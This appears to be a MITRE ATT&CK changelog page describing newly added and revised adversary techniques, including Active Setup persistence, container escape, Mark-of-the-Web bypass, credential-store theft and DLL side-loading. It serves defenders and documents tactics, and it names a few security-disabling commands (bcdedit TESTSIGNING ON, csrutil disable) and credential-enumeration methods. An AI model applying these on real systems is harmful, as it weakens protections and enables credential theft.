|
These ATT&CK Navigator layer files can be uploaded to ATT&CK Navigator manually.
This JSON file contains the machine readble output used to create this page: changelog.json
Current version: 1.0
Description: Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine. Active Setup is a Windows mechanism that is used to execute programs when a user logs in. The value stored in the Registry key will be executed after a user logs into the computer.(Citation: Klein Active Setup 2010) These programs will be executed under the context of the user and will have the account's associated permissions level.
Adversaries may abuse Active Setup by creating a key under HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\ and setting a malicious value for StubPath. This value will serve as the program that will be executed when a user logs into the computer.(Citation: Mandiant Glyer APT 2010)(Citation: Citizenlab Packrat 2015)(Citation: FireEye CFR Watering Hole 2012)(Citation: SECURELIST Bright Star 2015)(Citation: paloalto Tropic Trooper 2016)
Adversaries can abuse these components to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.
Current version: 1.0
Description: Adversaries may build a container image directly on a host to bypass defenses that monitor for the retrieval of malicious images from a public registry. A remote build request may be sent to the Docker API that includes a Dockerfile that pulls a vanilla base image, such as alpine, from a public or local registry and then builds a custom image upon it.(Citation: Docker Build Image)
An adversary may take advantage of that build API to build a custom image on the host that includes malware downloaded from their C2 server, and then they then may utilize [Deploy Container](https://attack.mitre.org/techniques/T1610) using that custom image.(Citation: Aqua Build Images on Hosts) If the base image is pulled from a public registry, defenses will likely not detect the image as malicious since it’s a vanilla image. If the base image already resides in a local registry, the pull may be considered even less suspicious since the image is already in the environment.
Current version: 1.0
Description: Adversaries may modify code signing policies to enable execution of unsigned or self-signed code. Code signing provides a level of authenticity on a program from a developer and a guarantee that the program has not been tampered with. Security controls can include enforcement mechanisms to ensure that only valid, signed code can be run on an operating system.
Some of these security controls may be enabled by default, such as Driver Signature Enforcement (DSE) on Windows or System Integrity Protection (SIP) on macOS.(Citation: Microsoft DSE June 2017)(Citation: Apple Disable SIP) Other such controls may be disabled by default but are configurable through application controls, such as only allowing signed Dynamic-Link Libraries (DLLs) to execute on a system. Since it can be useful for developers to modify default signature enforcement policies during the development and testing of applications, disabling of these features may be possible with elevated permissions.(Citation: Microsoft Unsigned Driver Apr 2017)(Citation: Apple Disable SIP)
Adversaries may modify code signing policies in a number of ways, including through use of command-line or GUI utilities, [Modify Registry](https://attack.mitre.org/techniques/T1112), rebooting the computer in a debug/recovery mode, or by altering the value of variables in kernel memory.(Citation: Microsoft TESTSIGNING Feb 2021)(Citation: Apple Disable SIP)(Citation: FireEye HIKIT Rootkit Part 2)(Citation: GitHub Turla Driver Loader) Examples of commands that can modify the code signing policy of a system include bcdedit.exe -set TESTSIGNING ON on Windows and csrutil disable on macOS.(Citation: Microsoft TESTSIGNING Feb 2021)(Citation: Apple Disable SIP) Depending on the implementation, successful modification of a signing policy may require reboot of the compromised system. Additionally, some implementations can introduce visible artifacts for the user (ex: a watermark in the corner of the screen stating the system is in Test Mode). Adversaries may attempt to remove such artifacts.(Citation: F-Secure BlackEnergy 2014)
To gain access to kernel memory to modify variables related to signature checks, such as modifying g_CiOptions to disable Driver Signature Enforcement, adversaries may conduct [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) using a signed, but vulnerable driver.(Citation: Unit42 AcidBox June 2020)(Citation: GitHub Turla Driver Loader)
Current version: 1.0
Description: Adversaries may gather credentials via APIs within a containers environment. APIs in these environments, such as the Docker API and Kubernetes APIs, allow a user to remotely manage their container resources and cluster components.(Citation: Docker API)(Citation: Kubernetes API) An adversary may access the Docker API to collect logs that contain credentials to cloud, container, and various other resources in the environment.(Citation: Unit 42 Unsecured Docker Daemons) An adversary with sufficient permissions, such as via a pod's service account, may also use the Kubernetes API to retrieve credentials from the Kubernetes API server. These credentials may include those needed for Docker API authentication or secrets from Kubernetes cluster components.
Current version: 1.0
Description: Adversaries may abuse a container administration service to execute commands within a container. A container administration service such as the Docker daemon, the Kubernetes API server, or the kubelet may allow remote management of containers within an environment.(Citation: Docker Daemon CLI)(Citation: Kubernetes API)(Citation: Kubernetes Kubelet)
In Docker, adversaries may specify an entrypoint during container deployment that executes a script or command, or they may use a command such as docker exec to execute a command within a running container.(Citation: Docker Entrypoint)(Citation: Docker Exec) In Kubernetes, if an adversary has sufficient permissions, they may gain remote execution in a container in the cluster via interaction with the Kubernetes API server, the kubelet, or by running a command such as kubectl exec.(Citation: Kubectl Exec Get Shell)
Current version: 1.0
Description: Adversaries may abuse task scheduling functionality provided by container orchestration tools such as Kubernetes to schedule deployment of containers configured to execute malicious code. Container orchestration jobs run these automated tasks at a specific date and time, similar to cron jobs on a Linux system. Deployments of this type can also be configured to maintain a quantity of containers over time, automating the process of maintaining persistence within a cluster. In Kubernetes, a CronJob may be used to schedule a Job that runs one or more containers to perform specific tasks.(Citation: Kubernetes Jobs)(Citation: Kubernetes CronJob) An adversary therefore may utilize a CronJob to schedule deployment of a Job that executes malicious code in the cluster.(Citation: Threat Matrix for Kubernetes)
Current version: 1.0
Description: Adversaries may attempt to discover containers and other resources that are available within a containers environment. Other resources may include images, deployments, pods, nodes, and other information such as the status of a cluster. These resources can be viewed within web applications such as the Kubernetes dashboard or can be queried via the Docker and Kubernetes APIs.(Citation: Docker API)(Citation: Kubernetes API) In Docker, logs may leak information about the environment, such as the environment’s configuration, which services are available, and what cloud provider the victim may be utilizing. The discovery of these resources may inform an adversary’s next steps in the environment, such as how to perform lateral movement and which methods to utilize for execution.
Current version: 1.0
Description: Adversaries may deploy a container into an environment to facilitate execution or evade defenses. In some cases, adversaries may deploy a new container to execute processes associated with a particular image or deployment, such as processes that execute or download malware. In others, an adversary may deploy a new container configured without network rules, user limitations, etc. to bypass existing defenses within the environment.
Containers can be deployed by various means, such as via Docker's create and start APIs or via a web application such as the Kubernetes dashboard or Kubeflow.(Citation: Docker Containers API)(Citation: Kubernetes Dashboard)(Citation: Kubeflow Pipelines) Adversaries may deploy containers based on retrieved or built malicious images or from benign images that download and execute malicious payloads at runtime.(Citation: Aqua Build Images on Hosts)
Current version: 1.0
Description: Adversaries may prepare an operational environment to infect systems that visit a website over the normal course of browsing. Endpoint systems may be compromised through browsing to adversary controlled sites, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). In such cases, the user's web browser is typically targeted for exploitation (often not requiring any extra user interaction once landing on the site), but adversaries may also set up websites for non-exploitation behavior such as [Application Access Token](https://attack.mitre.org/techniques/T1550/001). Prior to [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), adversaries must stage resources needed to deliver that exploit to users who browse to an adversary controlled site. Drive-by content can be staged on adversary controlled infrastructure that has been acquired ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or previously compromised ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). Adversaries may upload or inject malicious web content, such as [JavaScript](https://attack.mitre.org/techniques/T1059/007), into websites.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015) This may be done in a number of ways, including inserting malicious script into web pages or other user controllable web content such as forum posts. Adversaries may also craft malicious web advertisements and purchase ad space on a website through legitimate ad providers. In addition to staging content to exploit a user's web browser, adversaries may also stage scripting content to profile the user's browser (as in [Gather Victim Host Information](https://attack.mitre.org/techniques/T1592)) to ensure it is vulnerable prior to attempting exploitation.(Citation: ATT ScanBox) Websites compromised by an adversary and used to stage a drive-by may be ones visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted attack is referred to a strategic web compromise or watering hole attack. Adversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure ([Domains](https://attack.mitre.org/techniques/T1583/001)) to help facilitate [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).
Current version: 1.0
Description: Adversaries may break out of a container to gain access to the underlying host. This can allow an adversary access to other containerized resources from the host level or to the host itself. In principle, containerized resources should provide a clear separation of application functionality and be isolated from the host environment.(Citation: Docker Overview) There are multiple ways an adversary may escape to a host environment. Examples include creating a container configured to mount the host’s filesystem using the bind parameter, which allows the adversary to drop payloads and execute control utilities such as cron on the host, and utilizing a privileged container to run commands on the underlying host.(Citation: Docker Bind Mounts)(Citation: Trend Micro Privileged Container)(Citation: Intezer Doki July 20) Gaining access to the host may provide the adversary with the opportunity to achieve follow-on objectives, such as establishing persistence, moving laterally within the environment, or setting up a command and control channel on the host.
Current version: 1.0
Description: Adversaries may install SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are files that can be installed on servers to enable secure communications between systems. Digital certificates include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate securely with its owner. Certificates can be uploaded to a server, then the server can be configured to use the certificate to enable encrypted communication with it.(Citation: DigiCert Install SSL Cert) Adversaries may install SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or lending credibility to a credential harvesting site. Installation of digital certificates may take place for a number of server types, including web servers and email servers. Adversaries can obtain digital certificates (see [Digital Certificates](https://attack.mitre.org/techniques/T1588/004)) or create self-signed certificates (see [Digital Certificates](https://attack.mitre.org/techniques/T1587/003)). Digital certificates can then be installed on adversary controlled infrastructure that may have been acquired ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or previously compromised ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).
Current version: 1.0
Description: Adversaries may check for Internet connectivity on compromised systems. This may be performed during automated discovery and can be accomplished in numerous ways such as using [Ping](https://attack.mitre.org/software/S0097), tracert, and GET requests to websites.
Adversaries may use the results and responses from these requests to determine if the system is capable of communicating with their C2 servers before attempting to connect to them. The results may also be used to identify routes, redirectors, and proxy servers.
Current version: 1.0
Description: Adversaries may put in place resources that are referenced by a link that can be used during targeting. An adversary may rely upon a user clicking a malicious link in order to divulge information (including credentials) or to gain execution, as in [Malicious Link](https://attack.mitre.org/techniques/T1204/001). Links can be used for spearphishing, such as sending an email accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. Prior to a phish for information (as in [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003)) or a phish to gain initial access to a system (as in [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002)), an adversary must set up the resources for a link target for the spearphishing link. Typically, the resources for a link target will be an HTML page that may include some client-side script such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) to decide what content to serve to the user. Adversaries may clone legitimate sites to serve as the link target, this can include cloning of login pages of legitimate web services or organization login pages in an effort to harvest credentials during [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003).(Citation: Malwarebytes Silent Librarian October 2020)(Citation: Proofpoint TA407 September 2019) Adversaries may also [Upload Malware](https://attack.mitre.org/techniques/T1608/001) and have the link target point to malware for download/execution by the user. Adversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure ([Domains](https://attack.mitre.org/techniques/T1583/001)) to help facilitate [Malicious Link](https://attack.mitre.org/techniques/T1204/001). Link shortening services can also be employed.
Current version: 1.0
Description: Adversaries may rely on a user running a malicious image to facilitate execution. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be backdoored. Backdoored images may be uploaded to a public repository via [Upload Malware](https://attack.mitre.org/techniques/T1608/001), and users may then download and deploy an instance or container from the image without realizing the image is malicious, thus bypassing techniques that specifically achieve Initial Access. This can lead to the execution of malicious code, such as code that executes cryptocurrency mining, in the instance or container.(Citation: Summit Route Malicious AMIs) Adversaries may also name images a certain way to increase the chance of users mistakenly deploying an instance or container from the image (ex: [Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005)).
Current version: 1.0
Description: Adversaries may abuse specific file formats to subvert Mark-of-the-Web (MOTW) controls. In Windows, when files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.(Citation: Microsoft Zone.Identifier 2020) Files that are tagged with MOTW are protected and cannot perform certain actions. For example, starting in MS Office 10, if a MS Office file has the MOTW, it will open in Protected View. Executables tagged with the MOTW will be processed by Windows Defender SmartScreen that compares files with an allowlist of well-known executables. If the file in not known/trusted, SmartScreen will prevent the execution and warn the user not to run it.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)(Citation: Intezer Russian APT Dec 2020)
Adversaries may abuse container files such as compressed/archive (.arj, .gzip) and/or disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW. Container files downloaded from the Internet will be marked with MOTW but the files within may not inherit the MOTW after the container files are extracted and/or mounted. MOTW is a NTFS feature and many container files do not support NTFS alternative data streams. After a container file is extracted and/or mounted, the files contained within them may be treated as local files on disk and run without protections.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)
Current version: 1.0
Description: Adversaries may acquire user credentials from third-party password managers.(Citation: ise Password Manager February 2019) Password managers are applications designed to store user credentials, normally in an encrypted database. Credentials are typically accessible after a user provides a master password that unlocks the database. After the database is unlocked, these credentials may be copied to memory. These databases can be stored as files on disk.(Citation: ise Password Manager February 2019) Adversaries may acquire user credentials from password managers by extracting the master password and/or plain-text credentials from memory.(Citation: FoxIT Wocao December 2019)(Citation: Github KeeThief) Adversaries may extract credentials from memory via [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212).(Citation: NVD CVE-2019-3610) Adversaries may also try brute forcing via [Password Guessing](https://attack.mitre.org/techniques/T1110/001) to obtain the master password of a password manager.(Citation: Cyberreason Anchor December 2019)
Current version: 1.0
Description: Adversaries may upload, install, or otherwise set up capabilities that can be used during targeting. To support their operations, an adversary may need to take capabilities they developed ([Develop Capabilities](https://attack.mitre.org/techniques/T1587)) or obtained ([Obtain Capabilities](https://attack.mitre.org/techniques/T1588)) and stage them on infrastructure under their control. These capabilities may be staged on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). Capabilities can also be staged on web services, such as GitHub or Pastebin.(Citation: Volexity Ocean Lotus November 2020) Staging of capabilities can aid the adversary in a number of initial access and post-compromise behaviors, including (but not limited to): * Staging web resources necessary to conduct [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) when a user browses to a site.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015)(Citation: ATT ScanBox) * Staging web resources for a link target to be used with spearphishing.(Citation: Malwarebytes Silent Librarian October 2020)(Citation: Proofpoint TA407 September 2019) * Uploading malware or tools to a location accessible to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).(Citation: Volexity Ocean Lotus November 2020) * Installing a previously acquired SSL/TLS certificate to use to encrypt command and control traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)).(Citation: DigiCert Install SSL Cert)
Current version: 1.0
Description:
Adversaries may gather information in an attempt to calculate the geographical location of a victim host. Adversaries may use the information from [System Location Discovery](https://attack.mitre.org/techniques/T1614) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Adversaries may attempt to infer the location of a system using various system checks, such as time zone, keyboard layout, and/or language settings.(Citation: FBI Ragnar Locker 2020)(Citation: Sophos Geolocation 2016)(Citation: Bleepingcomputer RAT malware 2020) Windows API functions such as GetLocaleInfoW can also be used to determine the locale of the host.(Citation: FBI Ragnar Locker 2020) In cloud environments, an instance's availability zone may also be discovered by accessing the instance metadata service from the instance.(Citation: AWS Instance Identity Documents)(Citation: Microsoft Azure Instance Metadata 2021)
Adversaries may also attempt to infer the location of a victim host using IP addressing, such as via online geolocation IP-lookup services.(Citation: Securelist Trasparent Tribe 2020)(Citation: Sophos Geolocation 2016)
Current version: 1.0
Description: Adversaries may upload malware to third-party or adversary controlled infrastructure to make it accessible during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, and a variety of other malicious content. Adversaries may upload malware to support their operations, such as making a payload available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server. Malware may be placed on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). Malware can also be staged on web services, such as GitHub or Pastebin.(Citation: Volexity Ocean Lotus November 2020) Adversaries may upload backdoored files, such as application binaries, virtual machine images, or container images, to third-party software stores or repositories (ex: GitHub, CNET, AWS Community AMIs, Docker Hub). By chance encounter, victims may directly download/install these backdoored files via [User Execution](https://attack.mitre.org/techniques/T1204). [Masquerading](https://attack.mitre.org/techniques/T1036) may increase the chance of users mistakenly executing these files.
Current version: 1.0
Description: Adversaries may upload tools to third-party or adversary controlled infrastructure to make it accessible during targeting. Tools can be open or closed source, free or commercial. Tools can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). Adversaries may upload tools to support their operations, such as making a tool available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server. Tools may be placed on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).(Citation: Dell TG-3390) Tools can also be staged on web services, such as an adversary controlled GitHub repo. Adversaries can avoid the need to upload a tool by having compromised victim machines download the tool directly from a third-party hosting location (ex: a non-adversary controlled GitHub repo), including the original hosting site of the tool.
Current version: 1.0
Description: Adversaries may acquire credentials from the Windows Credential Manager. The Credential Manager stores credentials for signing into websites, applications, and/or devices that request authentication through NTLM or Kerberos in Credential Lockers (previously known as Windows Vaults).(Citation: Microsoft Credential Manager store)(Citation: Microsoft Credential Locker)
The Windows Credential Manager separates website credentials from application or network credentials in two lockers. As part of [Credentials from Web Browsers](https://attack.mitre.org/techniques/T1555/003), Internet Explorer and Microsoft Edge website credentials are managed by the Credential Manager and are stored in the Web Credentials locker. Application and network credentials are stored in the Windows Credentials locker.
Credential Lockers store credentials in encrypted .vcrd files, located under %Systemdrive%\Users\\[Username]\AppData\Local\Microsoft\\[Vault/Credentials]\. The encryption key can be found in a file named Policy.vpol, typically located in the same folder as the credentials.(Citation: passcape Windows Vault)(Citation: Malwarebytes The Windows Vault)
Adversaries may list credentials managed by the Windows Credential Manager through several mechanisms. vaultcmd.exe is a native Windows executable that can be used to enumerate credentials stored in the Credential Locker through a command-line interface. Adversaries may gather credentials by reading files located inside of the Credential Lockers. Adversaries may also abuse Windows APIs such as CredEnumerateA to list credentials managed by the Credential Manager.(Citation: Microsoft CredEnumerate)(Citation: Delpy Mimikatz Crendential Manager)
Adversaries may use password recovery tools to obtain plain text passwords from the Credential Manager.(Citation: Malwarebytes The Windows Vault)
Current version: 1.0
Description: Adversaries may modify XDG autostart entries to execute programs or commands during system boot. Linux desktop environments that are XDG compliant implement functionality for XDG autostart entries. These entries will allow an application to automatically start during the startup of a desktop environment after user logon. By default, XDG autostart entries are stored within the /etc/xdg/autostart or ~/.config/autostart directories and have a .desktop file extension.(Citation: Free Desktop Application Autostart Feb 2006)
Within an XDG autostart entry file, the Type key specifies if the entry is an application (type 1), link (type 2) or directory (type 3). The Name key indicates an arbitrary name assigned by the creator and the Exec key indicates the application and command line arguments to execute.(Citation: Free Desktop Entry Keys)
Adversaries may use XDG autostart entries to maintain persistence by executing malicious commands and payloads, such as remote access tools, during the startup of a desktop environment. Commands included in XDG autostart entries with execute after user logon in the context of the currently logged on user. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make XDG autostart entries look as if they are associated with legitimate programs.
Current version: 2.0
Version changed from: 1.0 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may execute their own malicious payloads by hija | t | 1 | Adversaries may execute their own malicious payloads by side |
| > | cking the library manifest used to load DLLs. Adversaries ma | > | -loading DLLs. Similar to [DLL Search Order Hijacking](https | ||
| > | y take advantage of vague references in the library manifest | > | ://attack.mitre.org/techniques/T1574/001), side-loading invo | ||
| > | of a program by replacing a legitimate library with a malic | > | lves hijacking which DLL a program loads. But rather than ju | ||
| > | ious one, causing the operating system to load their malicio | > | st planting the DLL within the search order of a program the | ||
| > | us library when it is called for by the victim program. Pro | > | n waiting for the victim application to be invoked, adversar | ||
| > | grams may specify DLLs that are loaded at runtime. Programs | > | ies may directly side-load their payloads by planting then i | ||
| > | that improperly or vaguely specify a required DLL may be ope | > | nvoking a legitimate application that executes their payload | ||
| > | n to a vulnerability in which an unintended DLL is loaded. S | > | (s). Side-loading takes advantage of the DLL search order u | ||
| > | ide-loading vulnerabilities specifically occur when Windows | > | sed by the loader by positioning both the victim application | ||
| > | Side-by-Side (WinSxS) manifests (Citation: About Side by Sid | > | and malicious payload(s) alongside each other. Adversaries | ||
| > | e Assemblies) are not explicit enough about characteristics | > | likely use side-loading as a means of masking actions they p | ||
| > | of the DLL to be loaded. Adversaries may take advantage of a | > | erform under a legitimate, trusted, and potentially elevated | ||
| > | legitimate program that is vulnerable by replacing the legi | > | system or software process. Benign executables used to side | ||
| > | timate DLL with a malicious one. (Citation: FireEye DLL Sid | > | -load payloads may not be flagged during delivery and/or exe | ||
| > | e-Loading) Adversaries likely use this technique as a means | > | cution. Adversary payloads may also be encrypted/packed or o | ||
| > | of masking actions they perform under a legitimate, trusted | > | therwise obfuscated until loaded into the memory of the trus | ||
| > | system or software process. | > | ted process.(Citation: FireEye DLL Side-Loading) | ||
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-17 15:15:27.807000+00:00 | 2021-04-26 18:31:34.954000+00:00 |
| description | Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program. Programs may specify DLLs that are loaded at runtime. Programs that improperly or vaguely specify a required DLL may be open to a vulnerability in which an unintended DLL is loaded. Side-loading vulnerabilities specifically occur when Windows Side-by-Side (WinSxS) manifests (Citation: About Side by Side Assemblies) are not explicit enough about characteristics of the DLL to be loaded. Adversaries may take advantage of a legitimate program that is vulnerable by replacing the legitimate DLL with a malicious one. (Citation: FireEye DLL Side-Loading) Adversaries likely use this technique as a means of masking actions they perform under a legitimate, trusted system or software process. | Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s). Side-loading takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.(Citation: FireEye DLL Side-Loading) |
| external_references[2]['source_name'] | About Side by Side Assemblies | FireEye DLL Side-Loading |
| external_references[2]['description'] | Microsoft. (2018, May 31). About Side-by-Side Assemblies. Retrieved March 13, 2020. | Amanda Steward. (2014). FireEye DLL Side-Loading: A Thorn in the Side of the Anti-Virus Industry. Retrieved March 13, 2020. |
| external_references[2]['url'] | https://docs.microsoft.com/en-us/windows/win32/sbscs/about-side-by-side-assemblies- | https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf |
| x_mitre_data_sources[0] | Loaded DLLs | File: File Creation |
| x_mitre_data_sources[1] | Process monitoring | File: File Modification |
| x_mitre_data_sources[2] | Process use of network | Module: Module Load |
| x_mitre_detection | Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so). Track DLL metadata, such as a hash, and compare DLLs that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates. | Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so) as well as the introduction of new files/programs. Track DLL metadata, such as a hash, and compare DLLs that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates. |
| x_mitre_version | 1.0 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process: Process Creation |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'FireEye DLL Side-Loading', 'description': 'Amanda Steward. (2014). FireEye DLL Side-Loading: A Thorn in the Side of the Anti-Virus Industry. Retrieved March 13, 2020.', 'url': 'https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf'} |
Current version: 2.0
Version changed from: 1.0 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-08-26 14:16:48.125000+00:00 | 2021-04-20 20:10:26.613000+00:00 |
| x_mitre_data_sources[0] | Authentication logs | Logon Session: Logon Session Creation |
| x_mitre_data_sources[1] | API monitoring | Process: OS API Execution |
| x_mitre_data_sources[2] | DLL monitoring | Process: Process Access |
| x_mitre_version | 1.0 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| kill_chain_phases | {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'} | |
| x_mitre_data_sources | File: File Modification |
Current version: 2.0
Version changed from: 1.0 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may execute their own malicious payloads by hija | t | 1 | Adversaries may execute their own payloads by placing a mali |
| > | cking ambiguous paths used to load libraries. Adversaries m | > | cious dynamic library (dylib) with an expected name in a pat | ||
| > | ay plant trojan dynamic libraries, in a directory that will | > | h a victim application searches at runtime. The dynamic load | ||
| > | be searched by the operating system before the legitimate li | > | er will try to find the dylibs based on the sequential order | ||
| > | brary specified by the victim program, so that their malicio | > | of the search paths. Paths to dylibs may be prefixed with < | ||
| > | us library will be loaded into the victim program instead. | > | code>@rpath</code>, which allows developers to use relative | ||
| > | MacOS and OS X use a common method to look for required dyna | > | paths to specify an array of search paths used at runtime ba | ||
| > | mic libraries (dylib) to load into a program based on search | > | sed on the location of the executable. Additionally, if wea | ||
| > | paths. A common method is to see what dylibs an applicatio | > | k linking is used, such as the <code>LC_LOAD_WEAK_DYLIB</cod | ||
| > | n uses, then plant a malicious version with the same name hi | > | e> function, an application will still execute even if an ex | ||
| > | gher up in the search path. This typically results in the dy | > | pected dylib is not present. Weak linking enables developers | ||
| > | lib being in the same folder as the application itself. (Cit | > | to run an application on multiple macOS versions as new API | ||
| > | ation: Writing Bad Malware for OSX) (Citation: Malware Persi | > | s are added. Adversaries may gain execution by inserting ma | ||
| > | stence on OS X) If the program is configured to run at a hi | > | licious dylibs with the name of the missing dylib in the ide | ||
| > | gher privilege level than the current user, then when the dy | > | ntified path.(Citation: Wardle Dylib Hijack Vulnerable Apps) | ||
| > | lib is loaded into the application, the dylib will also run | > | (Citation: Wardle Dylib Hijacking OSX 2015)(Citation: Github | ||
| > | at that elevated level. | > | EmpireProject HijackScanner)(Citation: Github EmpireProject | ||
| > | CreateHijacker Dylib) Dylibs are loaded into an application | ||||
| > | 's address space allowing the malicious dylib to inherit the | ||||
| > | application's privilege level and resources. Based on the a | ||||
| > | pplication, this could result in privilege escalation and un | ||||
| > | inhibited network access. This method may also evade detecti | ||||
| > | on from security products since the execution is masked unde | ||||
| > | r a legitimate process.(Citation: Writing Bad Malware for OS | ||||
| > | X)(Citation: wardle artofmalware volume1)(Citation: MalwareU | ||||
| > | nicorn macOS Dylib Injection MachO) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-16 16:48:09.391000+00:00 | 2021-04-27 20:19:15.212000+00:00 |
| description | Adversaries may execute their own malicious payloads by hijacking ambiguous paths used to load libraries. Adversaries may plant trojan dynamic libraries, in a directory that will be searched by the operating system before the legitimate library specified by the victim program, so that their malicious library will be loaded into the victim program instead. MacOS and OS X use a common method to look for required dynamic libraries (dylib) to load into a program based on search paths. A common method is to see what dylibs an application uses, then plant a malicious version with the same name higher up in the search path. This typically results in the dylib being in the same folder as the application itself. (Citation: Writing Bad Malware for OSX) (Citation: Malware Persistence on OS X) If the program is configured to run at a higher privilege level than the current user, then when the dylib is loaded into the application, the dylib will also run at that elevated level. | Adversaries may execute their own payloads by placing a malicious dynamic library (dylib) with an expected name in a path a victim application searches at runtime. The dynamic loader will try to find the dylibs based on the sequential order of the search paths. Paths to dylibs may be prefixed with @rpath, which allows developers to use relative paths to specify an array of search paths used at runtime based on the location of the executable. Additionally, if weak linking is used, such as the LC_LOAD_WEAK_DYLIB function, an application will still execute even if an expected dylib is not present. Weak linking enables developers to run an application on multiple macOS versions as new APIs are added.
Adversaries may gain execution by inserting malicious dylibs with the name of the missing dylib in the identified path.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Wardle Dylib Hijacking OSX 2015)(Citation: Github EmpireProject HijackScanner)(Citation: Github EmpireProject CreateHijacker Dylib) Dylibs are loaded into an application's address space allowing the malicious dylib to inherit the application's privilege level and resources. Based on the application, this could result in privilege escalation and uninhibited network access. This method may also evade detection from security products since the execution is masked under a legitimate process.(Citation: Writing Bad Malware for OSX)(Citation: wardle artofmalware volume1)(Citation: MalwareUnicorn macOS Dylib Injection MachO) |
| external_references[2]['source_name'] | Writing Bad Malware for OSX | Wardle Dylib Hijack Vulnerable Apps |
